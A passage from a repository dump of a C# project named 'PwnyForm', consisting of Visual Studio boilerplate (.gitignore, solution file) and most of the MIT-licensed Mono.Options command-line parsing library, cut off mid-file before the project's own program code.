├── .gitattributes
├── .gitignore
├── PwnyForm.sln
├── PwnyForm
├── .gitattributes
├── App.config
├── Options.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
└── PwnyForm.csproj
└── README.md
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # JustCode is a .NET coding add-in
131 | .JustCode
132 |
133 | # TeamCity is a build add-in
134 | _TeamCity*
135 |
136 | # DotCover is a Code Coverage Tool
137 | *.dotCover
138 |
139 | # AxoCover is a Code Coverage Tool
140 | .axoCover/*
141 | !.axoCover/settings.json
142 |
143 | # Visual Studio code coverage results
144 | *.coverage
145 | *.coveragexml
146 |
147 | # NCrunch
148 | _NCrunch_*
149 | .*crunch*.local.xml
150 | nCrunchTemp_*
151 |
152 | # MightyMoose
153 | *.mm.*
154 | AutoTest.Net/
155 |
156 | # Web workbench (sass)
157 | .sass-cache/
158 |
159 | # Installshield output folder
160 | [Ee]xpress/
161 |
162 | # DocProject is a documentation generator add-in
163 | DocProject/buildhelp/
164 | DocProject/Help/*.HxT
165 | DocProject/Help/*.HxC
166 | DocProject/Help/*.hhc
167 | DocProject/Help/*.hhk
168 | DocProject/Help/*.hhp
169 | DocProject/Help/Html2
170 | DocProject/Help/html
171 |
172 | # Click-Once directory
173 | publish/
174 |
175 | # Publish Web Output
176 | *.[Pp]ublish.xml
177 | *.azurePubxml
178 | # Note: Comment the next line if you want to checkin your web deploy settings,
179 | # but database connection strings (with potential passwords) will be unencrypted
180 | *.pubxml
181 | *.publishproj
182 |
183 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
184 | # checkin your Azure Web App publish settings, but sensitive information contained
185 | # in these scripts will be unencrypted
186 | PublishScripts/
187 |
188 | # NuGet Packages
189 | *.nupkg
190 | # NuGet Symbol Packages
191 | *.snupkg
192 | # The packages folder can be ignored because of Package Restore
193 | **/[Pp]ackages/*
194 | # except build/, which is used as an MSBuild target.
195 | !**/[Pp]ackages/build/
196 | # Uncomment if necessary however generally it will be regenerated when needed
197 | #!**/[Pp]ackages/repositories.config
198 | # NuGet v3's project.json files produces more ignorable files
199 | *.nuget.props
200 | *.nuget.targets
201 |
202 | # Microsoft Azure Build Output
203 | csx/
204 | *.build.csdef
205 |
206 | # Microsoft Azure Emulator
207 | ecf/
208 | rcf/
209 |
210 | # Windows Store app package directories and files
211 | AppPackages/
212 | BundleArtifacts/
213 | Package.StoreAssociation.xml
214 | _pkginfo.txt
215 | *.appx
216 | *.appxbundle
217 | *.appxupload
218 |
219 | # Visual Studio cache files
220 | # files ending in .cache can be ignored
221 | *.[Cc]ache
222 | # but keep track of directories ending in .cache
223 | !?*.[Cc]ache/
224 |
225 | # Others
226 | ClientBin/
227 | ~$*
228 | *~
229 | *.dbmdl
230 | *.dbproj.schemaview
231 | *.jfm
232 | *.pfx
233 | *.publishsettings
234 | orleans.codegen.cs
235 |
236 | # Including strong name files can present a security risk
237 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
238 | #*.snk
239 |
240 | # Since there are multiple workflows, uncomment next line to ignore bower_components
241 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
242 | #bower_components/
243 |
244 | # RIA/Silverlight projects
245 | Generated_Code/
246 |
247 | # Backup & report files from converting an old project file
248 | # to a newer Visual Studio version. Backup files are not needed,
249 | # because we have git ;-)
250 | _UpgradeReport_Files/
251 | Backup*/
252 | UpgradeLog*.XML
253 | UpgradeLog*.htm
254 | ServiceFabricBackup/
255 | *.rptproj.bak
256 |
257 | # SQL Server files
258 | *.mdf
259 | *.ldf
260 | *.ndf
261 |
262 | # Business Intelligence projects
263 | *.rdl.data
264 | *.bim.layout
265 | *.bim_*.settings
266 | *.rptproj.rsuser
267 | *- [Bb]ackup.rdl
268 | *- [Bb]ackup ([0-9]).rdl
269 | *- [Bb]ackup ([0-9][0-9]).rdl
270 |
271 | # Microsoft Fakes
272 | FakesAssemblies/
273 |
274 | # GhostDoc plugin setting file
275 | *.GhostDoc.xml
276 |
277 | # Node.js Tools for Visual Studio
278 | .ntvs_analysis.dat
279 | node_modules/
280 |
281 | # Visual Studio 6 build log
282 | *.plg
283 |
284 | # Visual Studio 6 workspace options file
285 | *.opt
286 |
287 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
288 | *.vbw
289 |
290 | # Visual Studio LightSwitch build output
291 | **/*.HTMLClient/GeneratedArtifacts
292 | **/*.DesktopClient/GeneratedArtifacts
293 | **/*.DesktopClient/ModelManifest.xml
294 | **/*.Server/GeneratedArtifacts
295 | **/*.Server/ModelManifest.xml
296 | _Pvt_Extensions
297 |
298 | # Paket dependency manager
299 | .paket/paket.exe
300 | paket-files/
301 |
302 | # FAKE - F# Make
303 | .fake/
304 |
305 | # CodeRush personal settings
306 | .cr/personal
307 |
308 | # Python Tools for Visual Studio (PTVS)
309 | __pycache__/
310 | *.pyc
311 |
312 | # Cake - Uncomment if you are using it
313 | # tools/**
314 | # !tools/packages.config
315 |
316 | # Tabs Studio
317 | *.tss
318 |
319 | # Telerik's JustMock configuration file
320 | *.jmconfig
321 |
322 | # BizTalk build output
323 | *.btp.cs
324 | *.btm.cs
325 | *.odx.cs
326 | *.xsd.cs
327 |
328 | # OpenCover UI analysis results
329 | OpenCover/
330 |
331 | # Azure Stream Analytics local run output
332 | ASALocalRun/
333 |
334 | # MSBuild Binary and Structured Log
335 | *.binlog
336 |
337 | # NVidia Nsight GPU debugger configuration file
338 | *.nvuser
339 |
340 | # MFractors (Xamarin productivity tool) working folder
341 | .mfractor/
342 |
343 | # Local History for Visual Studio
344 | .localhistory/
345 |
346 | # BeatPulse healthcheck temp database
347 | healthchecksdb
348 |
349 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
350 | MigrationBackup/
351 |
352 | # Ionide (cross platform F# VS Code tools) working folder
353 | .ionide/
354 |
--------------------------------------------------------------------------------
/PwnyForm.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30114.105
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PwnyForm", "PwnyForm\PwnyForm.csproj", "{AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {E073C572-6D59-4426-AB95-126B7BEC4233}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/PwnyForm/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/PwnyForm/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/PwnyForm/Options.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Options.cs
3 | //
4 | // Authors:
5 | // Jonathan Pryor ,
6 | // Federico Di Gregorio
7 | // Rolf Bjarne Kvinge
8 | //
9 | // Copyright (C) 2008 Novell (http://www.novell.com)
10 | // Copyright (C) 2009 Federico Di Gregorio.
11 | // Copyright (C) 2012 Xamarin Inc (http://www.xamarin.com)
12 | // Copyright (C) 2017 Microsoft Corporation (http://www.microsoft.com)
13 | //
14 | // Permission is hereby granted, free of charge, to any person obtaining
15 | // a copy of this software and associated documentation files (the
16 | // "Software"), to deal in the Software without restriction, including
17 | // without limitation the rights to use, copy, modify, merge, publish,
18 | // distribute, sublicense, and/or sell copies of the Software, and to
19 | // permit persons to whom the Software is furnished to do so, subject to
20 | // the following conditions:
21 | //
22 | // The above copyright notice and this permission notice shall be
23 | // included in all copies or substantial portions of the Software.
24 | //
25 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
26 | // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
27 | // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
28 | // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
29 | // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
30 | // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
31 | // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
32 | //
33 |
34 | // Compile With:
35 | // mcs -debug+ -r:System.Core Options.cs -o:Mono.Options.dll -t:library
36 | // mcs -debug+ -d:LINQ -r:System.Core Options.cs -o:Mono.Options.dll -t:library
37 | //
38 | // The LINQ version just changes the implementation of
39 | // OptionSet.Parse(IEnumerable), and confers no semantic changes.
40 |
41 | //
42 | // A Getopt::Long-inspired option parsing library for C#.
43 | //
44 | // Mono.Options.OptionSet is built upon a key/value table, where the
45 | // key is a option format string and the value is a delegate that is
46 | // invoked when the format string is matched.
47 | //
48 | // Option format strings:
49 | // Regex-like BNF Grammar:
50 | // name: .+
51 | // type: [=:]
52 | // sep: ( [^{}]+ | '{' .+ '}' )?
53 | // aliases: ( name type sep ) ( '|' name type sep )*
54 | //
55 | // Each '|'-delimited name is an alias for the associated action. If the
56 | // format string ends in a '=', it has a required value. If the format
57 | // string ends in a ':', it has an optional value. If neither '=' or ':'
58 | // is present, no value is supported. `=' or `:' need only be defined on one
59 | // alias, but if they are provided on more than one they must be consistent.
60 | //
61 | // Each alias portion may also end with a "key/value separator", which is used
62 | // to split option values if the option accepts > 1 value. If not specified,
63 | // it defaults to '=' and ':'. If specified, it can be any character except
64 | // '{' and '}' OR the *string* between '{' and '}'. If no separator should be
65 | // used (i.e. the separate values should be distinct arguments), then "{}"
66 | // should be used as the separator.
67 | //
68 | // Options are extracted either from the current option by looking for
69 | // the option name followed by an '=' or ':', or is taken from the
70 | // following option IFF:
71 | // - The current option does not contain a '=' or a ':'
72 | // - The current option requires a value (i.e. not a Option type of ':')
73 | //
74 | // The `name' used in the option format string does NOT include any leading
75 | // option indicator, such as '-', '--', or '/'. All three of these are
76 | // permitted/required on any named option.
77 | //
78 | // Option bundling is permitted so long as:
79 | // - '-' is used to start the option group
80 | // - all of the bundled options are a single character
81 | // - at most one of the bundled options accepts a value, and the value
82 | // provided starts from the next character to the end of the string.
83 | //
84 | // This allows specifying '-a -b -c' as '-abc', and specifying '-D name=value'
85 | // as '-Dname=value'.
86 | //
87 | // Option processing is disabled by specifying "--". All options after "--"
88 | // are returned by OptionSet.Parse() unchanged and unprocessed.
89 | //
90 | // Unprocessed options are returned from OptionSet.Parse().
91 | //
92 | // Examples:
93 | // int verbose = 0;
94 | // OptionSet p = new OptionSet ()
95 | // .Add ("v", v => ++verbose)
96 | // .Add ("name=|value=", v => Console.WriteLine (v));
97 | // p.Parse (new string[]{"-v", "--v", "/v", "-name=A", "/name", "B", "extra"});
98 | //
99 | // The above would parse the argument string array, and would invoke the
100 | // lambda expression three times, setting `verbose' to 3 when complete.
101 | // It would also print out "A" and "B" to standard output.
102 | // The returned array would contain the string "extra".
103 | //
104 | // C# 3.0 collection initializers are supported and encouraged:
105 | // var p = new OptionSet () {
106 | // { "h|?|help", v => ShowHelp () },
107 | // };
108 | //
109 | // System.ComponentModel.TypeConverter is also supported, allowing the use of
110 | // custom data types in the callback type; TypeConverter.ConvertFromString()
111 | // is used to convert the value option to an instance of the specified
112 | // type:
113 | //
114 | // var p = new OptionSet () {
115 | // { "foo=", (Foo f) => Console.WriteLine (f.ToString ()) },
116 | // };
117 | //
118 | // Random other tidbits:
119 | // - Boolean options (those w/o '=' or ':' in the option format string)
120 | // are explicitly enabled if they are followed with '+', and explicitly
121 | // disabled if they are followed with '-':
122 | // string a = null;
123 | // var p = new OptionSet () {
124 | // { "a", s => a = s },
125 | // };
126 | // p.Parse (new string[]{"-a"}); // sets v != null
127 | // p.Parse (new string[]{"-a+"}); // sets v != null
128 | // p.Parse (new string[]{"-a-"}); // sets v == null
129 | //
130 |
131 | //
132 | // Mono.Options.CommandSet allows easily having separate commands and
133 | // associated command options, allowing creation of a *suite* along the
134 | // lines of **git**(1), **svn**(1), etc.
135 | //
136 | // CommandSet allows intermixing plain text strings for `--help` output,
137 | // Option values -- as supported by OptionSet -- and Command instances,
138 | // which have a name, optional help text, and an optional OptionSet.
139 | //
140 | // var suite = new CommandSet ("suite-name") {
141 | // // Use strings and option values, as with OptionSet
142 | // "usage: suite-name COMMAND [OPTIONS]+",
143 | // { "v:", "verbosity", (int? v) => Verbosity = v.HasValue ? v.Value : Verbosity+1 },
144 | // // Commands may also be specified
145 | // new Command ("command-name", "command help") {
146 | // Options = new OptionSet {/*...*/},
147 | // Run = args => { /*...*/},
148 | // },
149 | // new MyCommandSubclass (),
150 | // };
151 | // return suite.Run (new string[]{...});
152 | //
153 | // CommandSet provides a `help` command, and forwards `help COMMAND`
154 | // to the registered Command instance by invoking Command.Invoke()
155 | // with `--help` as an option.
156 | //
157 |
158 | using System;
159 | using System.Collections;
160 | using System.Collections.Generic;
161 | using System.Collections.ObjectModel;
162 | using System.ComponentModel;
163 | using System.Globalization;
164 | using System.IO;
165 | #if PCL
166 | using System.Reflection;
167 | #else
168 | using System.Runtime.Serialization;
169 | using System.Security.Permissions;
170 | #endif
171 | using System.Text;
172 | using System.Text.RegularExpressions;
173 |
174 | #if LINQ
175 | using System.Linq;
176 | #endif
177 |
178 | #if TEST
179 | using NDesk.Options;
180 | #endif
181 |
182 | #if PCL
183 | using MessageLocalizerConverter = System.Func;
184 | #else
185 | using MessageLocalizerConverter = System.Converter;
186 | #endif
187 |
188 | #if NDESK_OPTIONS
189 | namespace NDesk.Options
190 | #else
191 | namespace Mono.Options
192 | #endif
193 | {
194 | static class StringCoda {
195 |
196 | public static IEnumerable WrappedLines(string self, params int[] widths) {
197 | IEnumerable w = widths;
198 | return WrappedLines(self, w);
199 | }
200 |
201 | public static IEnumerable WrappedLines(string self, IEnumerable widths) {
202 | if (widths == null)
203 | throw new ArgumentNullException("widths");
204 | return CreateWrappedLinesIterator(self, widths);
205 | }
206 |
207 | private static IEnumerable CreateWrappedLinesIterator(string self, IEnumerable widths) {
208 | if (string.IsNullOrEmpty(self)) {
209 | yield return string.Empty;
210 | yield break;
211 | }
212 | using (IEnumerator ewidths = widths.GetEnumerator()) {
213 | bool? hw = null;
214 | int width = GetNextWidth(ewidths, int.MaxValue, ref hw);
215 | int start = 0, end;
216 | do {
217 | end = GetLineEnd(start, width, self);
218 | // endCorrection is 1 if the line end is '\n', and might be 2 if the line end is '\r\n'.
219 | int endCorrection = 1;
220 | if (end >= 2 && self.Substring(end - 2, 2).Equals("\r\n"))
221 | endCorrection = 2;
222 | char c = self[end - endCorrection];
223 | if (char.IsWhiteSpace(c))
224 | end -= endCorrection;
225 | bool needContinuation = end != self.Length && !IsEolChar(c);
226 | string continuation = "";
227 | if (needContinuation) {
228 | --end;
229 | continuation = "-";
230 | }
231 | string line = self.Substring(start, end - start) + continuation;
232 | yield return line;
233 | start = end;
234 | if (char.IsWhiteSpace(c))
235 | start += endCorrection;
236 | width = GetNextWidth(ewidths, width, ref hw);
237 | } while (start < self.Length);
238 | }
239 | }
240 |
241 | private static int GetNextWidth(IEnumerator ewidths, int curWidth, ref bool? eValid) {
242 | if (!eValid.HasValue || (eValid.HasValue && eValid.Value)) {
243 | curWidth = (eValid = ewidths.MoveNext()).Value ? ewidths.Current : curWidth;
244 | // '.' is any character, - is for a continuation
245 | const string minWidth = ".-";
246 | if (curWidth < minWidth.Length)
247 | throw new ArgumentOutOfRangeException("widths",
248 | string.Format("Element must be >= {0}, was {1}.", minWidth.Length, curWidth));
249 | return curWidth;
250 | }
251 | // no more elements, use the last element.
252 | return curWidth;
253 | }
254 |
255 | private static bool IsEolChar(char c) {
256 | return !char.IsLetterOrDigit(c);
257 | }
258 |
259 | private static int GetLineEnd(int start, int length, string description) {
260 | int end = System.Math.Min(start + length, description.Length);
261 | int sep = -1;
262 | for (int i = start; i < end; ++i) {
263 | if (i + 2 <= description.Length && description.Substring(i, 2).Equals("\r\n"))
264 | return i + 2;
265 | if (description[i] == '\n')
266 | return i + 1;
267 | if (IsEolChar(description[i]))
268 | sep = i + 1;
269 | }
270 | if (sep == -1 || end == description.Length)
271 | return end;
272 | return sep;
273 | }
274 | }
275 |
276 | public class OptionValueCollection : IList, IList {
277 |
278 | List values = new List();
279 | OptionContext c;
280 |
281 | internal OptionValueCollection(OptionContext c) {
282 | this.c = c;
283 | }
284 |
285 | #region ICollection
286 | void ICollection.CopyTo(Array array, int index) { (values as ICollection).CopyTo(array, index); }
287 | bool ICollection.IsSynchronized { get { return (values as ICollection).IsSynchronized; } }
288 | object ICollection.SyncRoot { get { return (values as ICollection).SyncRoot; } }
289 | #endregion
290 |
291 | #region ICollection
292 | public void Add(string item) { values.Add(item); }
293 | public void Clear() { values.Clear(); }
294 | public bool Contains(string item) { return values.Contains(item); }
295 | public void CopyTo(string[] array, int arrayIndex) { values.CopyTo(array, arrayIndex); }
296 | public bool Remove(string item) { return values.Remove(item); }
297 | public int Count { get { return values.Count; } }
298 | public bool IsReadOnly { get { return false; } }
299 | #endregion
300 |
301 | #region IEnumerable
302 | IEnumerator IEnumerable.GetEnumerator() { return values.GetEnumerator(); }
303 | #endregion
304 |
305 | #region IEnumerable
306 | public IEnumerator GetEnumerator() { return values.GetEnumerator(); }
307 | #endregion
308 |
309 | #region IList
310 | int IList.Add(object value) { return (values as IList).Add(value); }
311 | bool IList.Contains(object value) { return (values as IList).Contains(value); }
312 | int IList.IndexOf(object value) { return (values as IList).IndexOf(value); }
313 | void IList.Insert(int index, object value) { (values as IList).Insert(index, value); }
314 | void IList.Remove(object value) { (values as IList).Remove(value); }
315 | void IList.RemoveAt(int index) { (values as IList).RemoveAt(index); }
316 | bool IList.IsFixedSize { get { return false; } }
317 | object IList.this[int index] { get { return this[index]; } set { (values as IList)[index] = value; } }
318 | #endregion
319 |
320 | #region IList
321 | public int IndexOf(string item) { return values.IndexOf(item); }
322 | public void Insert(int index, string item) { values.Insert(index, item); }
323 | public void RemoveAt(int index) { values.RemoveAt(index); }
324 |
325 | private void AssertValid(int index) {
326 | if (c.Option == null)
327 | throw new InvalidOperationException("OptionContext.Option is null.");
328 | if (index >= c.Option.MaxValueCount)
329 | throw new ArgumentOutOfRangeException("index");
330 | if (c.Option.OptionValueType == OptionValueType.Required &&
331 | index >= values.Count)
332 | throw new OptionException(string.Format(
333 | c.OptionSet.MessageLocalizer("Missing required value for option '{0}'."), c.OptionName),
334 | c.OptionName);
335 | }
336 |
337 | public string this[int index] {
338 | get {
339 | AssertValid(index);
340 | return index >= values.Count ? null : values[index];
341 | }
342 | set {
343 | values[index] = value;
344 | }
345 | }
346 | #endregion
347 |
348 | public List ToList() {
349 | return new List(values);
350 | }
351 |
352 | public string[] ToArray() {
353 | return values.ToArray();
354 | }
355 |
356 | public override string ToString() {
357 | return string.Join(", ", values.ToArray());
358 | }
359 | }
360 |
361 | public class OptionContext {
362 | private Option option;
363 | private string name;
364 | private int index;
365 | private OptionSet set;
366 | private OptionValueCollection c;
367 |
368 | public OptionContext(OptionSet set) {
369 | this.set = set;
370 | this.c = new OptionValueCollection(this);
371 | }
372 |
373 | public Option Option {
374 | get { return option; }
375 | set { option = value; }
376 | }
377 |
378 | public string OptionName {
379 | get { return name; }
380 | set { name = value; }
381 | }
382 |
383 | public int OptionIndex {
384 | get { return index; }
385 | set { index = value; }
386 | }
387 |
388 | public OptionSet OptionSet {
389 | get { return set; }
390 | }
391 |
392 | public OptionValueCollection OptionValues {
393 | get { return c; }
394 | }
395 | }
396 |
397 | public enum OptionValueType {
398 | None,
399 | Optional,
400 | Required,
401 | }
402 |
403 | public abstract class Option {
404 | string prototype, description;
405 | string[] names;
406 | OptionValueType type;
407 | int count;
408 | string[] separators;
409 | bool hidden;
410 |
411 | protected Option(string prototype, string description)
412 | : this(prototype, description, 1, false) {
413 | }
414 |
415 | protected Option(string prototype, string description, int maxValueCount)
416 | : this(prototype, description, maxValueCount, false) {
417 | }
418 |
419 | protected Option(string prototype, string description, int maxValueCount, bool hidden) {
420 | if (prototype == null)
421 | throw new ArgumentNullException("prototype");
422 | if (prototype.Length == 0)
423 | throw new ArgumentException("Cannot be the empty string.", "prototype");
424 | if (maxValueCount < 0)
425 | throw new ArgumentOutOfRangeException("maxValueCount");
426 |
427 | this.prototype = prototype;
428 | this.description = description;
429 | this.count = maxValueCount;
430 | this.names = (this is OptionSet.Category)
431 | // append GetHashCode() so that "duplicate" categories have distinct
432 | // names, e.g. adding multiple "" categories should be valid.
433 | ? new[] { prototype + this.GetHashCode() }
434 | : prototype.Split('|');
435 |
436 | if (this is OptionSet.Category || this is CommandOption)
437 | return;
438 |
439 | this.type = ParsePrototype();
440 | this.hidden = hidden;
441 |
442 | if (this.count == 0 && type != OptionValueType.None)
443 | throw new ArgumentException(
444 | "Cannot provide maxValueCount of 0 for OptionValueType.Required or " +
445 | "OptionValueType.Optional.",
446 | "maxValueCount");
447 | if (this.type == OptionValueType.None && maxValueCount > 1)
448 | throw new ArgumentException(
449 | string.Format("Cannot provide maxValueCount of {0} for OptionValueType.None.", maxValueCount),
450 | "maxValueCount");
451 | if (Array.IndexOf(names, "<>") >= 0 &&
452 | ((names.Length == 1 && this.type != OptionValueType.None) ||
453 | (names.Length > 1 && this.MaxValueCount > 1)))
454 | throw new ArgumentException(
455 | "The default option handler '<>' cannot require values.",
456 | "prototype");
457 | }
458 |
459 | public string Prototype { get { return prototype; } }
460 | public string Description { get { return description; } }
461 | public OptionValueType OptionValueType { get { return type; } }
462 | public int MaxValueCount { get { return count; } }
463 | public bool Hidden { get { return hidden; } }
464 |
465 | public string[] GetNames() {
466 | return (string[])names.Clone();
467 | }
468 |
469 | public string[] GetValueSeparators() {
470 | if (separators == null)
471 | return new string[0];
472 | return (string[])separators.Clone();
473 | }
474 |
475 | protected static T Parse(string value, OptionContext c) {
476 | Type tt = typeof(T);
477 | #if PCL
478 | TypeInfo ti = tt.GetTypeInfo ();
479 | #else
480 | Type ti = tt;
481 | #endif
482 | bool nullable =
483 | ti.IsValueType &&
484 | ti.IsGenericType &&
485 | !ti.IsGenericTypeDefinition &&
486 | ti.GetGenericTypeDefinition() == typeof(Nullable<>);
487 | #if PCL
488 | Type targetType = nullable ? tt.GenericTypeArguments [0] : tt;
489 | #else
490 | Type targetType = nullable ? tt.GetGenericArguments()[0] : tt;
491 | #endif
492 | T t = default(T);
493 | try {
494 | if (value != null) {
495 | #if PCL
496 | if (targetType.GetTypeInfo ().IsEnum)
497 | t = (T) Enum.Parse (targetType, value, true);
498 | else
499 | t = (T) Convert.ChangeType (value, targetType);
500 | #else
501 | TypeConverter conv = TypeDescriptor.GetConverter(targetType);
502 | t = (T)conv.ConvertFromString(value);
503 | #endif
504 | }
505 | } catch (Exception e) {
506 | throw new OptionException(
507 | string.Format(
508 | c.OptionSet.MessageLocalizer("Could not convert string `{0}' to type {1} for option `{2}'."),
509 | value, targetType.Name, c.OptionName),
510 | c.OptionName, e);
511 | }
512 | return t;
513 | }
514 |
515 | internal string[] Names { get { return names; } }
516 | internal string[] ValueSeparators { get { return separators; } }
517 |
518 | static readonly char[] NameTerminator = new char[] { '=', ':' };
519 |
520 | private OptionValueType ParsePrototype() {
521 | char type = '\0';
522 | List seps = new List();
523 | for (int i = 0; i < names.Length; ++i) {
524 | string name = names[i];
525 | if (name.Length == 0)
526 | throw new ArgumentException("Empty option names are not supported.", "prototype");
527 |
528 | int end = name.IndexOfAny(NameTerminator);
529 | if (end == -1)
530 | continue;
531 | names[i] = name.Substring(0, end);
532 | if (type == '\0' || type == name[end])
533 | type = name[end];
534 | else
535 | throw new ArgumentException(
536 | string.Format("Conflicting option types: '{0}' vs. '{1}'.", type, name[end]),
537 | "prototype");
538 | AddSeparators(name, end, seps);
539 | }
540 |
541 | if (type == '\0')
542 | return OptionValueType.None;
543 |
544 | if (count <= 1 && seps.Count != 0)
545 | throw new ArgumentException(
546 | string.Format("Cannot provide key/value separators for Options taking {0} value(s).", count),
547 | "prototype");
548 | if (count > 1) {
549 | if (seps.Count == 0)
550 | this.separators = new string[] { ":", "=" };
551 | else if (seps.Count == 1 && seps[0].Length == 0)
552 | this.separators = null;
553 | else
554 | this.separators = seps.ToArray();
555 | }
556 |
557 | return type == '=' ? OptionValueType.Required : OptionValueType.Optional;
558 | }
559 |
560 | private static void AddSeparators(string name, int end, ICollection seps) {
561 | int start = -1;
562 | for (int i = end + 1; i < name.Length; ++i) {
563 | switch (name[i]) {
564 | case '{':
565 | if (start != -1)
566 | throw new ArgumentException(
567 | string.Format("Ill-formed name/value separator found in \"{0}\".", name),
568 | "prototype");
569 | start = i + 1;
570 | break;
571 | case '}':
572 | if (start == -1)
573 | throw new ArgumentException(
574 | string.Format("Ill-formed name/value separator found in \"{0}\".", name),
575 | "prototype");
576 | seps.Add(name.Substring(start, i - start));
577 | start = -1;
578 | break;
579 | default:
580 | if (start == -1)
581 | seps.Add(name[i].ToString());
582 | break;
583 | }
584 | }
585 | if (start != -1)
586 | throw new ArgumentException(
587 | string.Format("Ill-formed name/value separator found in \"{0}\".", name),
588 | "prototype");
589 | }
590 |
591 | public void Invoke(OptionContext c) {
592 | OnParseComplete(c);
593 | c.OptionName = null;
594 | c.Option = null;
595 | c.OptionValues.Clear();
596 | }
597 |
598 | protected abstract void OnParseComplete(OptionContext c);
599 |
600 | internal void InvokeOnParseComplete(OptionContext c) {
601 | OnParseComplete(c);
602 | }
603 |
604 | public override string ToString() {
605 | return Prototype;
606 | }
607 | }
608 |
609 | public abstract class ArgumentSource {
610 |
611 | protected ArgumentSource() {
612 | }
613 |
614 | public abstract string[] GetNames();
615 | public abstract string Description { get; }
616 | public abstract bool GetArguments(string value, out IEnumerable replacement);
617 |
618 | #if !PCL || NETSTANDARD1_3
619 | public static IEnumerable GetArgumentsFromFile(string file) {
